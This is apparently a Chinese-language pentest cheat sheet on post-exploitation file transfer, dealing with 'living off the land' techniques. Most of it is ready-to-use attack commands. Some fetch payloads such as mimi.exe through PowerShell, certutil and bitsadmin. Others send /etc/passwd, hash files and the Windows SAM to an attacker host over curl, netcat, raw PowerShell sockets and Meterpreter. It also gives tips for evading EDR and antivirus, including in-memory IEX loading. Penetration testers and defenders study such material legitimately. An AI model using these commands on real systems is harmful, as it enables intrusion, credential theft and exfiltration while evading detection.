引言:构建隐蔽通道与 Living Off The Land 艺术
在渗透测试的后利用(Post-Exploitation)阶段,高效的文件传输能力往往是决定成败的关键分水岭。无论是向目标投递定制化恶意载荷、上传提权工具,还是将敏感数据(如凭证哈希、配置文件)渗出(Exfiltration)至外部,稳定且隐蔽的传输通道都是必经之路。
然而,在现代防御体系(EDR、AV、NIDS)日益敏感的背景下,直接上传未知二进制文件或开启非标准端口的服务极易触发警报。因此,高阶渗透测试的核心策略在于 "Living Off The Land"(LOTL,基于陆地生存)。
本文将系统性地梳理在不同操作系统与网络环境下,如何利用系统原生工具(如 PowerShell、CertUtil、Bash、SMB)和轻量级临时服务,构建多样化的文件传输矩阵。我们的目标不仅是实现"传得过去",更要做到"传得隐蔽",通过模拟正常业务流量和系统行为,规避防御机制,完成从初始访问到完全控制的无缝衔接。
1. 核心战术:HTTP 协议传输
HTTP/HTTPS 协议是内网中最不可能被阻断的流量。利用系统自带工具或单命令行 Web 服务,可以快速建立传输通道。
1.1 快速搭建临时 Web 服务 (攻击机)
无需安装复杂环境,利用系统内置解释器即可拉起服务。
| 工具 | 命令示例 | 适用场景 |
|---|---|---|
| Python 3 | python3 -m http.server 4444 |
最通用,Linux/Mac 默认环境 |
| Python 2 | python2 -m SimpleHTTPServer 89 |
老旧 Linux 发行版 |
| PHP | php -S 0.0.0.0:8080 |
已安装 PHP 的服务器 |
| Ruby | ruby -run -e httpd . -p 1337 |
开发环境或 MacOS |
| Apache2 | systemctl start apache2 |
需要持久化或复杂配置时 |
1.2 目标机下载技术 (Download)
优先使用系统原生二进制文件,避免上传第三方工具(如 wget或 nc.exe)引起怀疑。
Linux 环境
bash
# 标准工具
curl -o /tmp/tool http://IP/tool
wget http://IP/exploit.sh
# 无工具利用 (Bash Native)
cat < /dev/tcp/IP/80 > /tmp/received_file
Windows 环境 (LOTL 优先)
bash
# PowerShell (最隐蔽,推荐)
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://IP/payload.exe', 'C:\Windows\Temp\p.exe')"
# CertUtil (常被监控,但绕过简单杀软有效)
certutil -urlcache -split -f http://IP/mimi.exe mimi.exe
# BitsAdmin (利用 Windows 后台服务,隐蔽性极高)
bitsadmin /transfer job1 /download /priority high http://IP/file.exe C:\Windows\Temp\file.exe
1.3 数据渗出与上传 (Upload)
默认的 Python HTTP Server 仅支持下载,上传文件需要特殊配置。
搭建支持 PUT 的服务器
使用自定义脚本(如 HTTPutServer.py)替代默认模块,核心逻辑如下:
python
# 核心代码片段
class PUTHandler(BaseHTTPRequestHandler):
def do_PUT(self):
length = int(self.headers['Content-Length'])
content = self.rfile.read(length)
with open(self.path[1:], "wb") as f:
f.write(content)
self.send_response(200)
客户端上传执行
bash
# Linux (curl/wget)
curl --upload-file secret.txt http://IP:1337/
wget --method=PUT --post-file=data.txt http://IP:1337/data.txt
# Windows (PowerShell)
Invoke-RestMethod -Uri http://IP:1337/secret.txt -Method PUT -Body (Get-Content secret.txt)
PHP 接收端 (备选)
在攻击机 Web 目录放置 upload.php:
php
<?php
$targetDir = './uploads/'; // 确保权限为 777
$targetFile = $targetDir . basename($_FILES['file']['name']);
move_uploaded_file($_FILES['file']['tmp_name'], $targetFile);
?>
上传命令:curl -X POST -F 'file=@/etc/passwd' http://IP/upload.php
2. 辅助协议:非 HTTP 通道
当 Web 流量被严格监控或阻断时,利用系统原生支持的协议进行传输。
2.1 SMB 共享 (Windows 首选)
利用 Impacket 搭建 SMB 服务器,模拟内网文件共享,极其隐蔽且无需 Web 请求。
bash
# Kali 搭建 (支持 SMB2,避免兼容性问题)
impacket-smbserver share $(pwd) -smb2support -username test -password test
# 目标机连接与复制
net use \\Kali_IP\share /user:test test
copy \\Kali_IP\share\payload.exe C:\Windows\Temp\
2.2 SSH / SCP
适用于 Linux 环境且已获取 SSH 凭证的场景。
bash
scp -P 2222 ./local_file user@host:/tmp/remote_path
scp -r user@host:/etc/ ./backup_etc
2.3 FTP / TFTP
适用于网络设备(路由器、交换机)或老旧 Windows 系统。
-
FTP 服务器 :
python -m pyftpdlib -p 21 -w(匿名可写) -
TFTP 服务器 :
atftpd --daemon --port 69 /tftpboot
3. 极限环境:无监听与流式传输
当目标无法主动连接攻击机,或攻击机无法开启端口时,使用标准输入输出重定向。
3.1 Netcat (nc) 传输
bash
# 接收端 (Kali)
nc -lvnp 4444 > received_file.bin
# 发送端 (Target)
nc -nv 192.168.1.10 4444 < /etc/passwd
3.2 PowerShell TCP 传输 (无 NC 环境)
直接使用 .NET 的 Socket 对象进行流式传输,绕过对 nc.exe的依赖。
bash
$client = New-Object System.Net.Sockets.TCPClient('IP',Port);
$stream = $client.GetStream();
$fileStream = [System.IO.File]::OpenRead('C:\secret\hash.txt');
$fileStream.CopyTo($stream);
$fileStream.Close(); $stream.Close(); $client.Close()
4. 自动化框架集成 (Metasploit)
在 Meterpreter 会话中,使用内置命令确保传输稳定性。
| 操作 | 命令 | 说明 |
|---|---|---|
| 上传 | upload /local/payload.exe C:\\Windows\\Temp\\ |
自动处理 Windows 路径转义 |
| 下载 | download C:\\Windows\\System32\\config\\SAM ./ |
下载注册表或敏感文件 |
| 搭建服务 | use auxiliary/server/ftp |
快速搭建 FTP 陷阱或传输点 |
5. 防御规避建议
-
伪装流量 :尽量使用 80/443 端口,并将文件命名为常见文件名(如
update.exe,logo.png)。 -
编码混淆 :使用
certutil -encode或 Base64 编码传输文件,在目标端解码执行,以绕过内容检测。 -
内存执行 :优先使用
powershell IEX (New-Object Net.WebClient).DownloadString(...)直接在内存中加载脚本,避免文件落盘。
免责声明:本文档仅供授权的渗透测试与安全研究使用。严禁用于非法用途。